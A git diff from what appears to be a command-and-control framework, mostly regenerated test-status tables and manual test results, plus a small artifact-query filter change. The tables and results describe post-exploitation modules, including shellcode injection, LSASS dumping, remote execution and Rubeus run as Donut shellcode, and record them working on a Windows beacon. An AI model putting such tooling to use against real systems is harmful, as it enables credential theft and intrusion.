command_specs_to_completer_data([inject_spec], grpcClient=grpc, session=session) inject_children = _completion_children(server_data, "inject") raw_children = _completion_children(inject_children, "--raw") assert _completion_children(raw_children, "payloads/loader.bin") @@ -684,7 +693,7 @@ def listArtifacts(self, query): ) grpc.queries.clear() - server_data = command_specs_to_completer_data([dotnet_spec], grpcClient=grpc) + server_data = command_specs_to_completer_data([dotnet_spec], grpcClient=grpc, session=session) dotnet_children = _completion_children(server_data, "dotnetExec") dotnet_load_children = _completion_children(dotnet_children, "load") dotnet_name_children = _completion_children(dotnet_load_children, DOTNET_LOAD_NAME_PLACEHOLDER) diff --git a/core b/core index 43129fe..8437119 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 43129fe1b42b0eb3bacfab780c2200d6a51332ee +Subproject commit 84371191a2890fa4b4dd8d14efbf6d39f236af09 diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 093ef64..5d9d6ba 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -4,30 +4,26 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | |---|---|---|---|---|---|---|---| +| fail | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | Emit recurring chunks for large results and finish with a single success response. | pass | fail | +| fail | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state. | pass | fail | +| fail | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | Generate shellcode on TeamServer from exe/dll/raw artifacts, preserve args, autocomplete artifact inputs, and execute on Windows beacon. | pass | fail | +| fail | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | Prepare upload/download paths, write chunked command results, and keep command context until final success. | pass | fail | | fail | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | Delete uploaded, generated, and hosted artifacts using artifact IDs, not legacy terminal paths. | pass | fail | -| partial | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | Store download, screenshot, minidump, shellcode, hosted, and future generated categories with sidecars. | pass | untested | +| fail | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines. | pass | fail | +| blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | | partial | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | Release scripts place files under the canonical data layout with platform and arch subfolders. | pass | untested | | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | -| partial | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | Emit recurring chunks for large results and finish with a single success response. | pass | untested | | partial | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | Update last seen, stale state, listener proof of life, and reconnect behavior. | pass | untested | -| partial | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state. | pass | untested | | partial | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | Start python3 -m C2Client.GUI without crashing and create non-closable core tabs. | pass | untested | | partial | critical | `COMMON-HELP-001` | CommonCommands | help | List commands and show command-specific help from CommandSpec. | pass | untested | -| partial | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | Generate shellcode on TeamServer from exe/dll/raw artifacts, preserve args, autocomplete artifact inputs, and execute on Windows beacon. | pass | untested | -| partial | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | Download remote file into GeneratedArtifacts/download/beacon using chunked output and registered sidecar. | pass | untested | | partial | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | Prepare shellcode payload from tools/beacons/raw, support pid/spawn modes, autocomplete payload and args, and execute on Windows beacon. | pass | untested | -| partial | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | Execute inline commands and Scripts-backed -s payloads without sending literal -s to PowerShell. | pass | untested | | partial | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | Load fixed rdm.dll from Tools/Any/any and execute/import PowerShell runner commands. | pass | untested | | partial | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | List, filter, upload, delete, and resolve artifacts by category/platform/arch/runtime/source. | pass | untested | | partial | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs. | pass | untested | -| partial | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | Prepare upload/download paths, write chunked command results, and keep command context until final success. | pass | untested | | partial | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | Stream sessions/listeners, queue commands, deduplicate responses, track modules, and route command results. | pass | untested | | partial | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | Start TeamServer with generated certificate, client auth, and readable config errors. | pass | untested | | partial | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages. | pass | untested | -| partial | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | Resolve Scripts/Windows, Scripts/Linux, and Scripts/Any for script-backed commands. | pass | untested | -| partial | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | Download selected artifacts from TeamServer to the client filesystem. | pass | untested | | partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | -| partial | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines. | pass | untested | | partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | | partial | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | List hooks with descriptions/tooltips, activation counts, and manual start using context snapshot. | pass | untested | | partial | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | Render listeners table, restrict form fields, and preserve column sizing during refresh. | pass | untested | @@ -45,7 +41,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper. | pass | untested | | partial | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command. | pass | untested | | partial | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | Start/stop reverse port forwarding and emit recurring traffic chunks. | pass | untested | -| partial | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | Capture desktop BMP, return chunked generated screenshot artifact, and show a single final console result. | pass | untested | | partial | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | Execute Scripts-backed Windows/Linux scripts with server-side script artifact resolution. | pass | untested | | partial | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | Execute shell commands with stdout/stderr capture and startup failure handling. | pass | untested | | partial | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | Validate cat, cd, ls, mkdir, remove, tree, pwd, upload, download, and path error handling. | pass | untested | @@ -85,7 +80,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | untested | | partial | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | pass | untested | | untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | -| untested | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | untested | | untested | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | End-to-end Linux x64 HTTPS validation: connect, run commands, upload/download, script, and module lifecycle. | n/a | untested | | untested | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | End-to-end Windows x64 HTTPS validation: connect, load module, run commands, use artifacts, generate output, host artifact. | n/a | untested | | untested | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | Start listener, register beacon, and exchange simple command results. | n/a | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 3da5f38..8695008 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -4,24 +4,24 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Validation | Priority | ID | Area | Feature | OS | Arch | Listener | Artifact | Auto | Manual | |---|---|---|---|---|---|---|---|---|---|---|---| -| partial | auto+manual | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | teamserver | any | n/a | generated | pass | untested | +| pass | auto+manual | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | teamserver | any | n/a | generated | pass | pass | | partial | auto+manual | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | teamserver | any | n/a | any | pass | untested | -| partial | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | pass | untested | +| pass | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | pass | pass | | partial | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | pass | untested | | pass | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | pass | pass | -| partial | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | pass | untested | +| fail | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | pass | fail | | partial | auto+manual | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | any | any | any | n/a | pass | untested | | pass | auto+manual | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | any | any | any | modules | pass | pass | | pass | auto+manual | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | any | any | any | n/a | pass | pass | | fail | auto+manual | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | client | n/a | n/a | generated | pass | fail | -| partial | auto+manual | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | client | n/a | n/a | generated | pass | untested | +| pass | auto+manual | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | client | n/a | n/a | generated | pass | pass | | pass | auto+manual | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | client | any | n/a | uploaded | pass | pass | | pass | auto+manual | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | client | n/a | n/a | any | pass | pass | | partial | auto+manual | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | client | n/a | any | command_specs | pass | untested | -| partial | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | pass | untested | +| fail | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | pass | fail | | pass | auto | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | client | n/a | n/a | n/a | pass | n/a | -| partial | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | pass | untested | +| fail | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | pass | fail | | planned | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | client | n/a | n/a | n/a | n/a | n/a | | partial | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | pass | untested | | partial | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | pass | untested | @@ -54,7 +54,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | pass | untested | +| fail | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | pass | fail | | pass | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | any | any | https | n/a | pass | pass | | partial | auto+manual | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | windows | x64 | https | tools | pass | untested | @@ -62,7 +62,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | windows | x64 | https | tools | pass | untested | | partial | auto+manual | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | windows | x64 | https | tools | pass | untested | -| partial | auto+manual | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | any | any | https | generated | pass | untested | +| pass | auto+manual | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | any | any | https | generated | pass | pass | | partial | auto+manual | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | windows | x64 | https | n/a | pass | untested | @@ -78,7 +78,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | windows | x64 | https | generated | pass | untested | | partial | auto+manual | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | any | any | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | any | any | https | n/a | pass | untested | -| partial | auto+manual | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | windows | x64 | https | scripts | pass | untested | +| pass | auto+manual | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | windows | x64 | https | scripts | pass | pass | | partial | auto+manual | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | any | any | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | windows | x64 | https | tools | pass | untested | | partial | auto+manual | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | windows | x64 | https | tools | pass | untested | @@ -88,7 +88,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | any | any | https | n/a | pass | untested | | pass | auto+manual | high | `MODULE-RUN-CONTRACT-001` | Modules | run | any | any | https | n/a | pass | pass | -| partial | auto+manual | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | windows | x64 | https | generated | pass | untested | +| pass | auto+manual | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | windows | x64 | https | generated | pass | pass | | partial | auto+manual | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | any | any | https | scripts | pass | untested | | partial | auto+manual | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | any | any | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | windows | x64 | https | n/a | pass | untested | @@ -101,11 +101,11 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | pass | untested | | untested | manual | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | linux | any | n/a | any | n/a | untested | -| untested | manual | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | windows | any | n/a | any | n/a | untested | +| blocked | manual | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | windows | any | n/a | any | n/a | blocked | | partial | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | pass | untested | | pass | auto | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | teamserver | n/a | n/a | command_specs | pass | n/a | | pass | auto | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | teamserver | any | any | any | pass | n/a | -| partial | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | pass | untested | +| fail | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | pass | fail | | pass | auto | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | teamserver | any | n/a | generated | pass | n/a | | pass | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | pass | pass | | partial | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | pass | untested | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index b8f6615..f9ac7ae 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,11 +10,11 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 23 | -| fail | 1 | -| blocked | 0 | -| partial | 79 | -| untested | 8 | +| pass | 29 | +| fail | 6 | +| blocked | 1 | +| partial | 68 | +| untested | 7 | | planned | 2 | ## Validation Modes @@ -30,40 +30,37 @@ _Generated by `scripts/generate-test-state.py`._ | Area | Pass | Fail | Blocked | Partial | Untested | Planned | Total | |---|---:|---:|---:|---:|---:|---:|---:| -| Artifacts | 1 | 0 | 0 | 4 | 0 | 0 | 5 | -| Beacon | 3 | 0 | 0 | 2 | 0 | 0 | 5 | -| C2Client | 5 | 1 | 0 | 14 | 0 | 1 | 21 | +| Artifacts | 3 | 0 | 0 | 2 | 0 | 0 | 5 | +| Beacon | 3 | 1 | 0 | 1 | 0 | 0 | 5 | +| C2Client | 6 | 3 | 0 | 11 | 0 | 1 | 21 | | CommonCommands | 3 | 0 | 0 | 4 | 0 | 0 | 7 | | Listeners | 1 | 0 | 0 | 1 | 4 | 0 | 6 | -| Modules | 6 | 0 | 0 | 45 | 0 | 1 | 52 | -| Release | 0 | 0 | 0 | 0 | 2 | 0 | 2 | -| TeamServer | 4 | 0 | 0 | 8 | 0 | 0 | 12 | +| Modules | 9 | 1 | 0 | 41 | 0 | 1 | 52 | +| Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | +| TeamServer | 4 | 1 | 0 | 7 | 0 | 0 | 12 | | Validation | 0 | 0 | 0 | 1 | 2 | 0 | 3 | ## Critical Non-Pass | Final | ID | Area | Feature | Auto | Manual | |---|---|---|---|---|---| -| partial | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | pass | untested | +| fail | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | pass | fail | +| fail | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | pass | fail | +| fail | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | pass | fail | +| fail | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | pass | fail | +| blocked | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | blocked | | partial | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | pass | untested | | partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | -| partial | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | pass | untested | | partial | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | pass | untested | -| partial | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | pass | untested | | partial | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | pass | untested | | partial | `COMMON-HELP-001` | CommonCommands | help | pass | untested | -| partial | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | pass | untested | -| partial | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | pass | untested | | partial | `MODULE-INJECT-CONTRACT-001` | Modules | inject | pass | untested | -| partial | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | pass | untested | | partial | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | pass | untested | | partial | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | pass | untested | | partial | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | pass | untested | -| partial | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | pass | untested | | partial | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | pass | untested | | partial | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | pass | untested | | partial | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | pass | untested | | untested | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | n/a | untested | -| untested | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | untested | | untested | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | n/a | untested | | untested | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | n/a | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 1cee2f0..25ad8da 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -168,3 +168,99 @@ results: tester: "max" evidence: "cat toto.testupload returned toto." notes: "Windows beacon over TCP." + + - id: MODULE-DOWNLOAD-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "loadModule download succeeded. download test1234.txt stored 1778165820263799973-a83c-test1234.txt. download C:\\Windows\\System32\\OneDriveSetup.exe stored 1778165909382546237-5f96-OneDriveSetup.exe. Download from Artifacts worked and SHA-256 hash check was OK." + notes: "Validated small and large file download from Windows beacon." + + - id: C2CLIENT-ARTIFACTS-DOWNLOAD-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Downloaded generated artifacts from the Artifacts tab after small and large beacon download; SHA-256 check was OK." + notes: "Generated artifact client-side download works." + + - id: ARTIFACT-GENERATED-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Generated download artifacts were created for test1234.txt and OneDriveSetup.exe, then downloaded from Artifacts and hash-verified. screenShot desktop.bmp also generated 1778172748738517131-d5d3-desktop.bmp in the artifact store. assemblyExec generated 3e337fc3d150-assemblyExec-Rubeus.exe.bin and the raw generated shellcode artifact executed successfully." + notes: "GeneratedArtifacts/download/beacon, GeneratedArtifacts/screenshot/beacon, and GeneratedArtifacts shellcode paths validated. The screenshot artifact was around 42 MB, which is functionally OK but should be optimized." + + - id: TEAMSERVER-FILE-TRANSFER-001 + status: fail + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Large download completed and artifact hash was OK, but intermediate chunks were emitted to the console as done unknown 7572294763565533 with progress values like 84934656/89771848." + notes: "File transfer data is correct, but command context/UI response suppression for intermediate chunks is not correct enough." + + - id: BEACON-CORE-CHUNKED-RESULTS-001 + status: fail + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Large download chunking completed successfully, but intermediate chunk progress appeared as multiple done unknown messages before the final Downloaded artifact stored line." + notes: "Chunk transport works, but the user-facing result stream should not expose unhelpful intermediate unknown command messages." + + - id: C2CLIENT-CONSOLE-FORMATTING-001 + status: fail + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Large download showed repeated intermediate console lines such as [done] unknown 7572294763565533 84934656/89771848." + notes: "Console should either suppress intermediate generated-artifact chunks or render them as explicit progress tied to the original command." + + - id: MODULE-SCREENSHOT-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "loadModule screenShot succeeded. Duplicate loadModule screenShot was rejected as already loaded. screenShot desktop.bmp completed while sleep 0.01 still worked during the wait, then returned: Generated artifact stored: 1778172748738517131-d5d3-desktop.bmp." + notes: "Functional path is OK after rebuilding beacon-compatible Windows modules. Generated BMP size was around 42 MB; add follow-up to reduce screenshot artifact size." + + - id: MODULE-POWERSHELL-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "loadModule powershell succeeded. powershell -s testScript.ps1 returned desktop-92jlelp\\max. powershell -i testScript.ps1 imported the script as a dynamic module. powershell dir returned module import output plus directory details for BeaconGithubDll.dll." + notes: "Validated script-backed -s, import -i, and inline command execution on a Windows beacon after replacing the beacon-compatible Windows modules." + + - id: ARTIFACT-SCRIPTS-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "powershell -s testScript.ps1 and powershell -i testScript.ps1 both resolved and executed/imported the script-backed payload successfully." + notes: "Windows script artifact resolution is validated for the powershell module path." + + - id: MODULE-ASSEMBLYEXEC-CONTRACT-001 + status: fail + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "assemblyExec --donut-exe Rubeus.exe -- triage executed correctly in process modes and returned the expected output. The -- continuation was autocompleted correctly. assemblyExec --raw 3e337fc3d150-assemblyExec-Rubeus.exe.bin also executed correctly and returned Rubeus output. assemblyExec --donut-dll rdm.dll --method go -- test returned the expected Donut error for a .NET DLL missing class/method metadata. assemblyExec --mode thread --donut-exe Rubeus.exe -- triage completed without returning output, unlike the process modes." + notes: "Process and raw generated-shellcode paths are valid, but thread mode output capture needs retest after the StdCapture/Win32 stdout redirection fix." + + - id: C2CLIENT-CONSOLE-AUTOCOMPLETE-001 + status: fail + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "assemblyExec --donut-exe proposed x86 tools while interacting with an x64 Windows beacon." + notes: "The CommandSpec tool filters for assemblyExec and sibling tool-backed modules must bind artifact arch to session.arch so autocomplete does not mix x86/x64 payloads." + + - id: RELEASE-WINDOWS-ARTIFACTS-001 + status: blocked + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Initial rebuilt WindowsModules/x64 DLLs returned Prepared shellcode tasks are not supported by this module, indicating a server/test ABI build. After replacing the modules, strings on build/artifacts/Release/WindowsModules/x64/*.dll no longer finds that server/test-only message, and screenShot executes successfully." + notes: "The ABI issue is resolved for the current x64 module set, but the full Windows release artifact layout still needs a clean release validation across expected arches before marking this pass." diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index f57e9b9..5e6a39f 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -116,6 +116,7 @@ message ArtifactQuery string name_contains = 5; string target = 6; string runtime = 7; + string format = 8; } diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 2ce405b..60e5f0c 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -60,6 +60,7 @@ bool matchesQuery(const TeamServerArtifactRecord& artifact, const TeamServerArti && matchesExactOrAny(query.platform, artifact.platform) && matchesExactOrAny(query.arch, artifact.arch) && matchesExactOrAny(query.runtime, artifact.runtime) + && matchesExact(query.format, artifact.format) && containsCaseInsensitive(artifact.name, query.nameContains); } 